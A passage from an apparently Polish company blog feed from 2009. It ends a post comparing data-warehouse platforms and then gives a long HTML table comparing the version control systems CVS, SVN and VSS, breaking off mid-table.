<li>Szyfrowanie baz danych.</li>
<li>Kreator indeksów (Index Advisor) – wybór najbardziej optymalnego indeksu.</li>
<li>Obsługa indeksów wielokolumnowych.</li>
<li>Konsola administracyjna oparta na graficznym interfejsie użytkownika.</li>
<li>Wysoka skalowalność – rozbudowa o nowy węzeł, pamięć, procesor czy przestrzeń dyskową bez potrzeby zatrzymywania systemu.</li>
<li>Wysoka dostępności równoległa dużej ilości użytkowników wynikająca z architektury optymalizowanej na odczyt.</li>
</ul>
<p><strong><em>ETL</em></strong><em></em></p>
<ul>
<li>Sybase ETL 4.8 – zawierające dwie aplikacje
<ul>
<li>Sybase ETL Development – narzędzie developerskie do tworzenia procesów ETL</li>
<li>Sybase ETL Server – serwis odpowiadający za uruchamianie i przetwarzania zdefiniowanych procesów ETL</li>
</ul>
</li>
<li>W pełni graficzny interface ze zdefiniowanymi komponentami, rozszerzonymi o środowisko programistyczne.</li>
<li>Łatwa implementacja środowiska deweloperskiego, testowego i produkcyjnego oparte o repozytoria metadanych.</li>
<li>Zdefiniowane funkcjonalności wspomagające budowę hurtowni danych, tj. rozmyte wyszukiwanie (Foozy Search), powoli zmieniające się wymiary (Slow Changing Dimension).</li>
<li>Możliwość korzystania z dowolnego środowiska źródłowego, jedynym ograniczeniem jest posiadanie sterowników OLE DB lub ODBC.</li>
</ul>
<p><strong><br />
Wnioski</strong></p>
<p>Brak. Każdy musi się sam zmierzyć z atutami i słabościami poszczególnych rozwiązań. Nie jest wykluczone, że ostatecznym wnioskiem będzię użycie Oracle Data Integrator&#8217;a (ETL &#8211; Oracele) z Teradata Database 12.0 (baza danych &#8211; Teradata) oraz Office PerformancePoint Server&#8217;em (BI &#8211; Microsoft).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.atena.pl/jaka-jest-najlepsza-platforma-do-tworzenie-hurtowni-danych-i-dlaczego-jest-nia/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CVS vs. SVN vs. inne narzędzia VCS</title>
		<link>http://blog.atena.pl/cvs-vs-svn-vs-inne-narzedzia-vcs-2</link>
		<comments>http://blog.atena.pl/cvs-vs-svn-vs-inne-narzedzia-vcs-2#comments</comments>
		<pubDate>Mon, 15 Jun 2009 13:11:59 +0000</pubDate>
		<dc:creator>Dominik Kapusta</dc:creator>
				<category><![CDATA[Narzędzia]]></category>
		<category><![CDATA[cvs]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[vsc]]></category>

		<guid isPermaLink="false">http://blog.atena.pl/?p=446</guid>
		<description><![CDATA[Wiele firm informatycznych staje przed wyborem systemu kontroli wersji. Przedstawiamy porównanie kilku najpopularniejszych narzędzi w tej dziedzinie: CVS, SVN, VSS, Bazaar, Mercurial i Perforce. Tabela porównawcza Źródła Inne narzędzia Wskazówki i wrażenia użytkownika SVN Tabela porównawcza Cecha CVS SVN &#8211; Subversion VSS Format repozytorium Pliki RCS Prosty backup Intuicyjna struktura Możliwość ręcznych poprawek BerkleyDB lub [...]]]></description>
			<content:encoded><![CDATA[<p>Wiele firm informatycznych staje przed wyborem systemu kontroli wersji. Przedstawiamy porównanie kilku najpopularniejszych narzędzi w tej dziedzinie: CVS, SVN, VSS, Bazaar, Mercurial i Perforce.<br />
<span id="more-446"></span></p>
<div>
<ul>
<li><a href="#Systemykontroliwersji-por%C3%B3wnanie%28CVS%2CSVN%29-Tabelapor%C3%B3wnawcza">Tabela porównawcza</a></li>
<li><a href="#Systemykontroliwersji-por%C3%B3wnanie%28CVS%2CSVN%29-%C5%B9r%C3%B3d%C5%82a">Źródła</a></li>
<li><a href="#Systemykontroliwersji-por%C3%B3wnanie%28CVS%2CSVN%29-Innenarz%C4%99dzia">Inne narzędzia</a></li>
<li><a href="#Systemykontroliwersji-por%C3%B3wnanie%28CVS%2CSVN%29-Wskaz%C3%B3wkiiwra%C5%BCeniau%C5%BCytkownikaSVN">Wskazówki i wrażenia użytkownika SVN</a></li>
</ul>
</div>
<h2><a name="Systemykontroliwersji-porównanie(CVS,SVN)-Tabelaporównawcza"></a>Tabela porównawcza</h2>
<table border="1" cellspacing="0">
<tbody>
<tr>
<th> Cecha</th>
<th> CVS</th>
<th> SVN &#8211; Subversion</th>
<th> VSS</th>
</tr>
<tr>
<td class="confluenceTd">Format<br />
repozytorium</td>
<td class="confluenceTd">Pliki RCS<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Prosty backup<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Intuicyjna struktura<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Możliwość ręcznych poprawek</td>
<td class="confluenceTd">BerkleyDB lub pliki binarne<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Większe bezpieczeństwo<br />
<img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Potencjalne źródło problemów</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Pliki o nierozpoznawalnych nazwach, np. abaaaaa.aaa<br />
<img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />3-krotnie większe od CVS</td>
</tr>
<tr>
<td class="confluenceTd">Szybkość</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Stabilność</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Skalowalność</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Unicode</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Tags<br />
&amp; Branches</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Szybkie tworzenie gałęzi i znaczników<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Proste tworzenie branchy</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Atomowe commity</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Wsparcie<br />
refactoringu</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Wersjonowane przeniesienia<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Wersjonowane zmiany nazwy<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Wersjonowanie właściwości pliku (uprawnienia, atrybuty, executable, itp)<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Wersjonowane foldery</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Metadane</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Można dodawać różne atrybuty do każdego pliku</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Hooki<br />
(pre, post)</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Możliwe</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Prostsze</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Zabezpieczenie przed<br />
przypadkowym commitem<br />
konfliktującego pliku</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Pliki binarne</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Brak diffa</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Rollback repozytorium</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://timhatch.com/ark/2006/04/18/howto-svn-commit-rollback">workaround</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Wewnętrzna<br />
architektura<br />
i kod</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Brak dostępu do źródeł</td>
</tr>
<tr>
<td class="confluenceTd">Darmowe</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Bundled with Visual Studio, $549 per full version</td>
</tr>
<tr>
<td class="confluenceTd">Możliwość<br />
migracji z CVS<br />
z historią</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://cvs2svn.tigris.org/">cvs2svn</a> &#8211; migracja przy pomocy 1 komendy<br />
<img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://www.subversionary.org/projects/popular/vss2svn">vss2svn</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://www.componentsoftware.com/Products/converter/index.htm">converter to TFS</a></td>
</tr>
<tr>
<td class="confluenceTd">Możliwość<br />
skopiowania<br />
całego<br />
repozytorium</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Kopiowanie całego folderu</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://www.dracoware.com/blog/2007/04/30/backing-up-a-subversion-repository/">link</a> <a rel="nofollow" href="http://www.bokko.nl/2008/01/17/svn-copy-repository">link</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Dostępność poprzez Web</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Wymaga dodatkowych <a href="http://www.wincvs.org/ ">narzędzi</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd"><a rel="nofollow" href="http://tomjanofsky.com/2004/09/refactoring-your-project-layout-with.html">Agregacja modułów</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://www.nabble.com/Subversion-modules--td6170770.html">link</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />VSS share</td>
</tr>
<tr>
<td class="confluenceTd">Dokumentacja,<br />
powszechność</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://better-scm.berlios.de/to-avoid/">To avoid </a><br />
<a rel="nofollow" href="http://better-scm.berlios.de/to-avoid/"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></a> <a rel="nofollow" href="http://www.subversionary.org/propaganda/why-not-vss">Why Not VSS</a><br />
<img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://www.wadhome.org/svn_vs_vss.html">SVN vs VSS</a><br />
<img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://www.svnforum.org/2017/viewtopic.php?t=2503">SVN vs VSS</a><br />
Nie używane nawet w Microsofcie.</td>
</tr>
<tr>
<td class="confluenceTd">Projekt rozwijany</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Stabilny, ale nie rozwijany</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Nie rozwijany od wielu lat</td>
</tr>
<tr>
<td class="confluenceTd">Apache</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Kontrola praw dostępu</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Ograniczona (pre-commit hooks)</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />J.w. (WebDAV per directory)<br />
<a rel="nofollow" href="http://ist.berkeley.edu/as-ag/tools/usage/svn-admin-tips.html">link</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Uprawnienia per-projekt (read, write, delete, destroy) mogą być przydzielane do konkretnych użytkowników</td>
</tr>
<tr>
<td class="confluenceTd">Konta domenowe</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://www.sage.org/lists/sage-members-archive/2006/msg00143.html">link</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://wiki.osuosl.org/display/LNX/Subversion+SVN+and++LDAP+and+Webdav">link</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Dopiero w Team Foundation Server</td>
</tr>
<tr>
<td class="confluenceTd">Śledzenie historii linii kodu</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Cvs annotate</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Svn blame</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Blokowanie pliku</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Możliwe dla konkretnych plików</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Kopiowanie plików i folderów</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Niemożliwe</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Szybkie</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Łatwość instalacji</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <span style="color: #ffffff;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><br />
<span style="color: #ffffff;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- </span></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Integracja z Eclipse</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Dostępne razem z Eclipse</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Bardzo podobne do CVS<br />
pluginy: <a rel="nofollow" href="http://subclipse.tigris.org/">subclipse</a> <a rel="nofollow" href="http://www.eclipse.org/subversive/">subversive</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Visual Studio</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://ankhsvn.open.collab.net/">ankhsvn</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">PowerBuilder</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://pbdj.sys-con.com/node/107065">link</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://dm.char.com.ua/pb/pbscc/pbscc.htm">PBSCC</a> <a rel="nofollow" href="http://www.pushok.com/">Pushok</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://forums.msdn.microsoft.com/en-US/vssourcecontrol/thread/49034aa1-a51d-4fd2-8575-1321bbfcb1bb/">link</a></td>
</tr>
<tr>
<td class="confluenceTd">Merge tracking</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Opisy commitów</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Przy każdej zmianie</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Przy całym commicie</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Przy każdym pliku</td>
</tr>
<tr>
<td class="confluenceTd">Zbiór komend</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Fisheye</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Bamboo</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Hudson</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">CruiseControl</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Windows</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">Linux</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">VNC / VPN</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/minus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /></td>
</tr>
<tr>
<td class="confluenceTd">SCC</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://www.pushok.com/soft_cvs.php">pushok</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" /> <a rel="nofollow" href="http://www.pushok.com/soft_svn.php">pushok</a></td>
<td class="confluenceTd">Nie dot.</td>
</tr>
<tr>
<td class="confluenceTd">Administrowanie</td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Konsola + <a rel="nofollow" href="http://cvsgui.sourceforge.net/index.html">cvsgui</a></td>
<td class="confluenceTd"><img src="wp-content/uploads/2009/03/plus.gif" border="0" alt="" width="16" height="16" align="absmiddle" />Konsola + <a rel="nofollow" href="http://c-alt.blogspot.com/2007/07/web-based-subversion-management-tool.html">web-based</a></td>
